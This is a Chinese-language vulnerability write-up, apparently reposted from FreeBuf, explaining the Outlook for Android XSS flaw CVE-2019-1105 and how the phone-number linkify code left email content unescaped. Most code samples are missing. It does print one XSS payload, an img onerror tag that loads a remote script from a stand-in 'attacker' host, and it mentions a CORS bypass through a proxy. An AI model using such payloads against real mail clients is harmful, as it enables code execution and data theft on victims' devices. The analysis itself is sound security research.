發現Outlook安卓版本APP跨站漏洞CVE-2019-11051234567

Outlook可能算是目前比較流行的郵箱APP之一了,近期,CyberArk公司研究團隊就發現了Outlook安卓版本APP的一個跨站漏洞(XSS)- CVE-2019-1105,利用該漏洞可以在E-mail電子郵件中實現任意 JavaScript 代碼執行。本文我們就一起來看看該漏洞的具體成因。

漏洞利用

大概的漏洞利用是這樣的,如果我們向受害者郵箱發送包含Payload的郵件,當受害者打開郵件之后,就會跳出形如以下的XSS窗口:

漏洞成因

我們可以把Outlook for Andriod的APK程序進行一個逆向分析,在assets資源目錄下,我們發現了一個名為“emailRenderer-android.js”的JavaScript文件,顧名思義,它是一個把郵件消息加載顯示給用戶查看的。在該JavaScript文件中,存在一個名為“layout”的函數,在其中它調用了名為“_linkifyPhoneNumbers”的方法。如下:

在這里,我們來談談Linkify類,android.text.util.Linkify是一個輔助類,通過RegEx樣式匹配,自動地在TextView類(和繼承的類)中創建超鏈接。符合特定的RegEx樣式的文本會被轉變成可點擊的超鏈接,這些超鏈接隱式地調用startActivity(new Intent(Intent.ACTION_VIEW, uri)),符合的文本會作為目標URI。你可以指定任意的字符串樣式為鏈接。為了方便,Linkify類提供了4種預置的通用內容類型(電子郵箱地址、電話號碼、web地址和住所地址)。

_linkifyPhoneNumbers方法的第一步是創建一個正則表達式對象,其中包含可能的手機號碼模式,如下:

上圖可示,與_linkifyPhoneNumbers正則表達式匹配的是一個7位數序列。之后,linkifyPhoneNumbers函數定義了第二個內層函數 “replacer”,該函數首先會去解析手機號碼,如下:

如果解析成功,內層函數 “replacer”會把號碼數字轉化生成一個對應鏈接,然后計數器加1并返回數據:

回到_linkifyPhoneNumbers的外層函數中來,這時_linkifyPhoneNumbers會測試它定義的正則表達式和消息中每個HTML元素之間是否匹配,如果匹配成功,外層函數會調用內層函數replacer并返回數據,這樣,就能用一些未轉義的文本內容來替代消息內容了,漏洞也就如此產生了:

這樣一來,把數字轉化為鏈接之后,從內容上來說就不存在轉義了,攻擊者可以發送包含匹配正則表達式的一串數字, replacer函數中的計數器加1,然后替代掉原先的消息內容,也就是說,把用正則表達式電話號碼的消息換成一些不可轉義的XSS Payload就可以了。

用HTML 5 API 來實現XSS

HTML 5 API 具備了多種新的功能特性,所以,我們可以利用它來對上述漏洞進行一個利用測試。這里,我們來看看Navigator的界面功能,它代表了一種當前狀態和用戶端身份信息,可以使用腳本進行查詢并注冊成為某種操作。我們以Navigator.vibrate()震動方法為例說明,當惡意郵件被受害者打開之后,該方法就會使手機設備產生震動脈沖。可用以下Payload來結合利用:

<img src=x on error=”javascript:document.write(‘script src=http:/attacker/tt.js></script>’);”>

但只是產生震動還是不夠的,我們可以在其中插入一段遠程腳本,成為:

我們可用XMLHttpRequest對象來創建一個復雜腳本,它負責受害者用戶瀏覽器和我們控制的重定向web服務器之間的通信。如下,使用XMLHttpRequest來重定向受害者:

上述代碼會驗證HTTP響應碼狀態并把鏈接轉化為outlook特有的olm格式鏈接窗口跳出,如下:

但其中接收到的狀態碼為0,根據MDN XMLHttpRequest.status來看,說明存在錯誤。經過一番分析研究,我們發現其中存在一個跨站資源共享CORS防護措施,所以,需要對它進行繞過,在此我們使用cors-anywhere代理方式對上述代碼作了以下修改:

這樣一來,我們的CORS bypass就能成功了,通過用burp collaborator作為攔截代理,就能有效地從XSS受害者的User-agent信息中查看到我們構造的惡意消息參數情況了:

總結

很多移動APP中都嵌入了Web應用功能,這種架構一旦其中的Web應用出現類似XSS的問題,難免會涉及本身的移動應用程序。

【via@FreeBuf.com